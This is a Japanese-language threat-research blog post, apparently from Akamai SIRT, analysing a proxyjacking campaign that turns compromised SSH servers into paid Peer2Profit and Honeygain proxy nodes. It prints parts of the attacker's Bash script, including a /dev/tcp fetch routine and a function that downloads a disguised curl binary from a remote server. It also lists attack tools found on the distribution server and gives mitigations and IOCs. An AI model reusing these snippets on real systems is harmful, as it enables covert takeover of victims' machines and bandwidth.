プロキシジャッキング:サイバー犯罪者による最新の詐欺
編集・協力:Tricia Howard
エグゼクティブサマリー
Akamai Security Intelligence Response Team(SIRT)はプロキシジャッキングキャンペーンを発見しました。このキャンペーンは脆弱な SSH サーバーをターゲットとし、金銭を目的として被害者の帯域幅を共有する Docker サービスを立ち上げるものです。
このキャンペーンでは、侵害された Web サーバーを使用して必要な依存関係を分散し、競合するインスタンスを積極的に検索して削除し、難読化技術を使用して検知を回避します。
プロキシジャッキングはサイバー犯罪者にとって、企業エコシステムと消費者エコシステムの両方において、侵害したデバイスから収益を得るための最新の方法となっています。これはクリプトジャッキングの代替手段となる、より検知されにくい手法であり、重大な影響がもたらされます。その影響により、プロキシされたレイヤー 7 攻撃によってすでにもたらされている問題がさらに悪化する可能性があります。
はじめに
進化を続けるサイバー脅威の世界において、攻撃者は最小限の労力で最大限の成果が上げられるよう常に革新的な戦略を模索しています。6 月初旬にこの最新の例、つまり金銭上の利益を目的としたプロキシジャッキングが Akamai SIRT のグローバルに分散されたハニーポットの 1 つで発見されました。
プロキシジャッキングの概念は新しいものではありませんが、主要企業のアフィリエイトとして簡単に収益化するというのは新しい概念です。金銭上の利益を得るための簡単な方法を提供するこの攻撃ベクトルは、企業の世界にとっても、普通の消費者にとっても同様に脅威となるため、これを知っておくこと、そして可能であればこの脅威を緩和できるようにすることが重要です。この新たな脅威の状況は、Meris や Anonymous Sudan などの攻撃者によって特徴付けられており、プロキシネットワークを介して伝播されるレイヤー 7 攻撃の顕著な増加と相まって、利用可能なプロキシが大量に出回り、その金銭的価値は相当なものとなっています。
この投稿では、Akamai SIRT のセキュリティリサーチャーが発見した新しいプロキシジャッキングキャンペーンの詳細について説明します。このキャンペーンは、攻撃者がリモートアクセスのために SSH を利用し、悪性のスクリプトを実行して、気づかれることなく被害者のサーバーを Peer2Proxy や Honeygain などのピアツーピア(P2P)プロキシネットワークに誘導するというアクティブなキャンペーンです。
これによって攻撃者は、クリプトマイニングに必要となるリソース負荷のわずか数分の 1 で、かつ検知される可能性が低い方法で、何も疑っていない被害者の余剰帯域幅を収益化できます。
ここでは、このキャンペーンの技術的な詳細を説明し、金銭上の利益を目的としたプロキシジャッキングの脅威プロファイルを見ていきます。さらに、緩和策の提案も行います。以前から存在しているテクニックの新しいユースケースを明らかにすることを意図しています。
プロキシジャッキングとは
クリプトジャッキングは世界中でよく知られるようになりました。被害者のリソースが盗まれ、それが金銭と引き換えにマイニングプールに提供されます。その金銭を手にするのは攻撃者です。一方、プロキシジャッキングはあまり知られていないテクニックですが、最近増加の一途をたどっています。
攻撃者はプロキシジャッキングを使用して、リソースを盗むだけでなく、被害者の未使用の帯域幅も活用します。最近になって、攻撃者はさまざまなサービスを実行するために被害者のシステムを P2P プロキシノードとして悪用し始めており、Peer2Profit や Honeygain などの組織を通じて収益化しています。これらの企業は、余剰帯域幅で収入を得られる機会を一般ユーザーに提供します。これは多くの人々や団体にとって魅力的で合法的な収入源となります。
ただし、これらのサイトは新しいプロキシノードがどのように調達されたかについて質問しないことが多く、これが違法性の始まりとなります。 プロキシジャッキングという行為は以前から存在していますが、そのキャンペーンを観察してわかったのは、最近になって金銭上の利益のためだけにその行為が使用され始めているということです。
サイバー犯罪者にとってのプロキシの価値
サイバー犯罪者にとってのプロキシの価値は、本質的に備わっている、追跡を難読化する能力です。これにより、違法な活動をそのオリジンまで追跡することは非常に困難になります。。この難読化は、悪性のトラフィックを多数のピアノードにルーティングし、その後、最終的な宛先に到達することで達成されます。図 1 からは、個人がプロキシへのアクセスを公開していることがわかります。これにより、トラフィックの多様な経路が実現するわけです。
この特定のリストは、この調査の中心となっているメイン IP に関連付けられており、オンライン投稿の形で見つかったものです。そこには、1 万 6,500 以上ものその他のオープンプロキシも含まれていました。プロキシジャッキングは増加しているため、これらのノードのすべてがこのネットワークでピアとして積極的に参加しているわけではないことは明白です。また、他にも多くの投稿が見つかっているため、このリストは完全なものではありません。
このブログ投稿で取り上げているキャンペーンで私たちが焦点を当てているのは、これまでのような「オープン」プロキシではありません。Peer2Profit や Honeygain などの企業は、理論的に検証されたパートナーとのみプロキシを共有していると主張しているからです。 しかし、これらの企業がプロキシネットワークに貢献できるよう提供しているサービスがもたらす利点には、合法のインストール環境を持ち、受動的な収入を得たいと考える人々が引き寄せられるだけでなく、他の人々の費用でシステムを利用しようと企む人も引き寄せられます。。
同様に、それらの企業が提供する実際のサービスには、合法的なビジネスだけでなく、攻撃者も同様に引き付けられます。したがってこのケースは、一見有益と思われるサービスがセキュリティに影響を及ぼす可能性があることを明確に示すものとなります。
Cowrie が監視しているので安心
この特定のキャンペーンは、2023 年 6 月 8 日に初めて明るみに出ました。弊社のチームは、SIRT によって管理されている Cowrie ハニーポットの 1 つに対し、攻撃者が複数の SSH 接続を確立していることに気づきました(図 2)。このハニーポットは弊社が完全に制御および監視しているため、主にエンコードされた Bash スクリプトによって攻撃者が実行したすべてのアクションを追跡し、文書化することができました。
攻撃者の最初のアクションは、Base64 で 2 回エンコードされた Bash スクリプト(図 3)を使用することでした。これは、スクリプトの真の機能を隠し、セキュリティシステムを回避するために使用される一般的なテクニックです。
難読化された Bash スクリプトのデコードに成功すると、攻撃者のプロキシジャッキングの手口を明確に把握することができました。このデコードされたスクリプトのロギングにより、攻撃者が意図した動作の性質と順序を綿密に分析することができました。
中断、展開、消失
このデコードされたスクリプトは、共有帯域幅から利益を得るアフィリエイトとして $PACCT で指定されたアカウントを使用し、感染したシステムを Peer2Profit プロキシネットワークのノードに効果的に変換します。その後すぐに、Honeygain のインストールにも同様のことが見つかりました。 このスクリプトは、堅牢で検知されにくいように設計されており、ホストシステムにインストールされているソフトウェアに関係なく、実行を試みます。。
このスクリプトは、後で使用するためのいくつかの関数を定義することから始まっており、その最初の関数は curlの基本的な実装でした。
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\nUser-Agent: curl/6.1.9\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
これは 2 番目の関数内で使用され、curl の実際のバージョン(配信サーバー上に「csdark.css」としてホストされている)をダウンロードします。curl はこのスキームが機能するために必要なものであると考えられ、被害者のホストに存在しない場合は、攻撃者がそれをダウンロードします。
c(){
if ! command -v curl &>/dev/null;then
__curl http://xxx.xxx.xxx.xxx/main/dist/css/csdark.css > curl
if ! md5sum curl|grep -q 2a88b534fa8d58cef93e46c4ab380b23;then
echo "could not get curl"
exit
fi
chmod +x curl
export PATH=$PWD:$PATH
fi
}
弊社の分析によると、これは実際には curl の正規分布に過ぎず、大きな変更が加えられていない、またはまったく変更が加えられていません。そこにはパフォーマンスの向上や悪性の機能など、追加の機能がある可能性もありますが、現時点では、それらが存在していると信じる理由はありません。
この実行可能ファイルの興味深い点は、すべてのサードパーティーベンダーによって完全に無害とされていますが(図 4)、これは私たちが見つけた最初のアーティファクトであり、これによって詳細な調査が進められることになりました。その良好なレピュテーションは、これが curl ユーティリティの標準的なディストリビューションであるという主張をさらにサポートするものとなります。アーティファクトのソースを確認する機能により、そのアーティファクトは無害なコードではなく、現在わかっているプロキシジャッキングスキームの一部であることが判明しました。このことから、悪性と見なされるアーティファクトだけでなく、すべての異常なアーティファクトを分離できることの重要性がよくわかります。
攻撃者は、/dev/shm や/tmp などの書き込みおよび実行可能な場所に移動させる別の関数も定義しています。適切なディレクトリが見つからない場合、実行可能ファイルは終了します。
d(){
cd /dev/shm && cp /bin/ls . && ./ls &>/dev/null && rm -f ls && return
cd /tmp && cp /bin/ls . && ./ls &>/dev/null && rm -f ls && return
#mkdir -p $HOME/.cache/apt && cd $HOME/.cache/apt && return
echo "no suitable dir"
exit
}
スクリプト内に定義された最後の関数は、ボットのセットアップのために何らかの作業を行うものですが、この関数の呼び出しは実際にはメインスクリプト内でコメントアウトされ、より機能的なコードに置き換えられています。その残りのコードによって、ほとんどのアクションが発生します。
安全上の理由からこのコードをすべて共有することはできませんが、このコードの一部を参照して、私たちが伝えたい内容を理解できるようにしたいと思います。そのために、[...] を使用してコードの一部を省略します。
このスクリプトは、攻撃者独自のコンテナがすでに起動して実行されているかどうかを確認することから開始されます。
if ps axjf|[...]|grep […] "$PACCT";then
echo "already running"
exit
次に、競合する帯域幅共有コンテナを実行している他のコンテナが存在するかどうかをチェックし、それらを強制終了します。
if docker ps [...] |grep [...] peer2profit [...] p2pclient;then
for con in [...];do
if ! docker [...]|grep [...] "$PACCT";then
[...]
docker stop -t 10 $con
docker stop -s KILL $con
docker stop $con
echo "killed container: $con"
fi
done
fi
そして、作業ディレクトリを作成し、リソース共有プログラムを含んでいるパブリック Docker リポジトリから Docker イメージをダウンロードして、それに「postfixd」という名前を付けます。その後、公開されている手順に従って、イメージの Docker レイヤーをダウンロードして解凍し、残ったアーティファクトを削除してから立ち去ります。
cd .. && rm -rf pfp
多様なインターネット帯域幅の価値
このキャンペーンで発見された P2P プロキシ収益化スキームは Peer2Profit と Honeygain であり、いずれも 100 万回以上もダウンロードされている公開 Docker イメージを持っています(図 5)。
このようなプロキシジャッキングの場合、プロキシは、理論的には正当ではあるものの悪性の可能性がある企業によって、データ収集や広告などの目的のために使用される可能性があります(図 6)。トラフィックがどのように使用されているかを正確に見られるようにする企業さえあります。
これらのアプリケーションは本質的に悪性なわけではありません。これらは、金銭的補償と引き換えに未使用のインターネット帯域幅を共有する機会をユーザーに提供する自主的なサービスとして提供されています(図 7)。この契約は非常に簡単ですが、ネットワーク内の IP の調達先を適切に検証していない企業もあり、作業用コンピューターにソフトウェアをインストールするように提案する場合もあります。
合法的な活動がサイバー犯罪になるとき
ユーザーが知ることなく、またはユーザーの同意なしにアプリケーションが展開され、そのリソースが効果的に悪用されると、そのシナリオはまったく別のものになってしまいます。そうなると、無害に見えるサービスの利用がサイバー犯罪の領域に入り込むことになります。攻撃者は、複数のシステムとその帯域幅を乗っ取り、被害者の費用でサービスから得られる潜在的な収益を効果的に増幅させます。
このシナリオは、クリプトマイニングとクリプトジャッキングの違いによく似ています。クリプトマイニング自体は、個人が計算リソースを使用して暗号資産(仮想通貨)をマイニングするという正当な活動です。しかし、クリプトジャッキングへと発展すると、他の人のコンピューティングリソースを不正に使用してマイニングすることになり、無害なアクティビティが悪性のアクティビティへと変わってしまいます。
ディストリビューションサーバーを覗いてみる
弊社の調査に基づき、悪性の Bash スクリプト内で使用されていた curl バイナリを引き出すためのサーバーを調査することになりました。他のファイルレス攻撃は、適切な実行のために引き続きディストリビューションサーバーに依存していました。
サイトを見ることですぐに結論に達しました。つまり、このサイトは侵害された Web サーバーであり、攻撃のためにさまざまなコンポーネントを配信する方法として使用されていたということです。この Web サイトを追跡すると、「高品質な建築資材」を専門とするリビアの企業まで遡ることができました。
弊社による評価の最初のステップは、curl バイナリ(先ほど述べた csdark.css)と同じパスで他に何がホストされていたかを確認することでした(図 8)。
この Web サーバーが構築されたテクノロジーを少し分析することで、古いコンポーネントとメンテナンスされていないコンポーネントが複数あることがわかりました。この Web サイトのパスは特に、すでにメンテナンスされなくなっている metro-bootstrap と呼ばれるライブラリのサポートに使用されています。このライブラリを理解することで、2014 年に最後に変更された 3 つのファイルを知ることができました。
しかし、それらよりも新しいファイルがあるため、このサーバーは侵害されていて、現在はさまざまなアクティビティのダウンロードポイントとして使用されていることが考えられました。これらのファイルを分析するために、「wget-r」を使用してすべてをダウンロードしました。
csdark.css ファイルは前述した curl 実行可能ファイルです。日付を見ると、 metal-bootstrap.min.xcss はテストファイルのアップロードとして機能している可能性があることが推察され、csdark.css がその翌日に追加されています。結果として、 vksp は不明なままです。次の VirusTotal エントリ(図 9)によると、 vksp はその名前が perfccとなっていることから、実際にはプログラムであることがわかります。これは Linux 固有のクリプトマイナーです。
このファイルについても少し分析を行い、 実際にクリプトマイニングユーティリティと、その他多くのエクスプロイトや一般的なハッキングツールが含まれていることがわかりました。
~/.local/bin$ ls
addcomputer.py exchanger.py getST.py ldd2pretty normalizer
raiseChild.py secretsdump.py split.py
atexec.py findDelegation.py getTGT.py lookupsid.py ntfs-read.py
rbcd.py services.py ticketConverter.py
crontab flask GetUserSPNs.py machine_role.py ntlmrelayx.py
rdp_check.py smbclient.py ticketer.py
cygdb futurize goldenPac.py mimikatz.py pasteurize
registry-read.py smbexec.py top
cython GetADUsers.py karmaSMB.py mqtt_check.py ping6.py
reg.py smbpasswd.py wmiexec.py
cythonize getArch.py keylistattack.py mssqlclient.py ping.py
rpcdump.py smbrelayx.py wmipersist.py
dcomexec.py Get-GPPPassword.py kintercept.py mssqlinstance.py
psexec.py rpcmap.py smbserver.py wmiquery.py
dpapi.py GetNPUsers.py ldapdomaindump netview.py ps.old
sambaPipe.py sniffer.py
esentutl.py getPac.py ldd2bloodhound nmapAnswerMachine.py
__pycache__ samrdump.py sniff.py
このことにより、これまで収益源としてクリプトジャッキングに固執してきた攻撃者がプロキシジャッキングによってその活動を転換する、または少なくともその活動を補完するのは当然のことだと、大いに納得がいきました。これら 2 つの実行可能ファイルが、侵害された同一の Web サイトでホストされているのを確認できたことは、この新しい収益化戦略の価値を即座に得られる攻撃者の種類を示す、小さな証明となりました。
影響と脅威の状況の関連性
金銭上の利益を目的としたプロキシジャッキングの出現は、侵害されたデバイスを介して金銭を得るというその他多くの犯罪スキームに続いて発生しているものです。これと最も比較しやすいものがクリプトジャッキングですが、合法的なサービスを利用し、犯罪手段を通じて収益を不正に得るという戦略は、これよりもさらに遡ります。
もう 1 つの主な例は、スパムの発信元が主に アフィリエイトマーケティングから始まっているということです。これは今日でも非常に一般的な手法です。顧客にクリックを促し、企業のサイトに誘導していれば、そのクリックに対して支払いを行うという企業もあります。しかし多くの企業は、そのためにスパムが使われているという事実を無視しています。それらの利点が存在し、企業が調達に関する倫理を無視するなら、それらの手法の悪用によって犯罪業界が築かれていくでしょう。
プロキシが大量に出回ることについて、特に関連性があり、懸念されるもう 1 つの事実があります。それは、プロキシジャッキングは基本的に、CPU 使用率が高いことで検知されるというクリプトジャッキングの唯一の大きな欠点に対処するものであるということです。必要な CPU は最小限であり、その代わりとして、使用されていないインターネット帯域幅に依存することで、 プロキシジャッキングは、これまでクリプトジャッキングの検知のために使用されていた手段のいくつかを回避することができます。
プロキシジャッキングから防御する方法
CPU 使用率が低いということは、企業の観点から見ると、プロキシジャッキングを緩和する IDS/IPS ソリューションをさらに重視することになります。日常的なユーザーは、強力なセキュリティの基本事項を実践する必要があります。たとえば、複雑な パスワード を使用すること、パスワードをパスワードマネージャーに保存すること、アプリケーションに パッチ を適用すること、そして可能な場合は多要素認証(MFA)を有効にすることです。コンピューター・セキュリティに関して深い知識を持つユーザーは、現在稼働中の コンテナ に注意を払い、ネットワークトラフィックの異常を監視し、さらには定期的に脆弱性スキャンを実行することで、警戒を怠らないようにすることができます。
この特定のキャンペーンでは、SSH を使用してサーバーにアクセスし、Docker コンテナをインストールしていましたが、過去のキャンペーンでも Web の脆弱性が悪用されています。ローカルで実行している Docker サービスをチェックしてシステム上で不要なリソースが共有されていることを検知した場合は、侵入を調査し、スクリプトがどのようにアップロードされ、実行されたかを判断し、徹底的なクリーンアップを実行する必要があります。
また、他に侵入や侵害の兆候がないか確認してください。そして、すべてのパスワードを変更し、すべてのソフトウェアが最新であることを確認し、より厳格なセキュリティポリシーの実装を検討します。さらに、影響を受けるシステムに機微な情報または貴重なデータが含まれている場合は、 専門的なインシデント対応サービス の利用を検討します。
これらの攻撃は検知しにくいうえに、オープンプロキシはサイバー犯罪者の武器として重要なツールとなります。Meris や Anonymous Sudan などの犯罪組織により、プロキシを使用した攻撃がどれほど破壊的で痛みを伴うものであるかが示されています。レイヤー 7 攻撃の継続的な増加とともに、この問題は今後も増え続けます。その管理をプロキシネットワーキング企業に依存することは、きわめて貧弱な防御メカニズムであり、確実性も低いものとなります。
まとめ
古いテクニックでも、引き続き効果を発揮します。特に、新たな成果と組み合わせた場合はなおさら効果的です。プロキシジャッキングによる収益化はその好例であり、このクラスの攻撃を中心として新たな戦術が生まれることは間違いありません。このベクトルからも、強力なセキュリティの基本事項を守らなければならないことがわかります。強力なパスワード、パッチ管理、綿密なロギングなど、標準的なセキュリティプラクティスは効果的な防御メカニズムです。
組織または個人の資産に関係なく、プロキシジャッキングに注意を払うことが不可欠です。Akamai SIRT は、これまでどおりこれらの脅威などを監視し続け、さらなる情報が得られた場合にはお知らせします。最新のセキュリティリサーチについては、 Twitter で Akamai をフォローしてください。
IOC
- ハッシュ
- 6f1ac1e711e662edad32713c135ce29562d636794cf5a21a44bbb34955610f0a - vksp
72e7dd199bed6eefa0ae763c399e0d8a56e2b1dfacc089046706226a5f2a
- 不要なプロキシジャッキングがないかどうかの確認
-
docker ps | grep -q peer2profit
docker ps | grep -q honeygain
-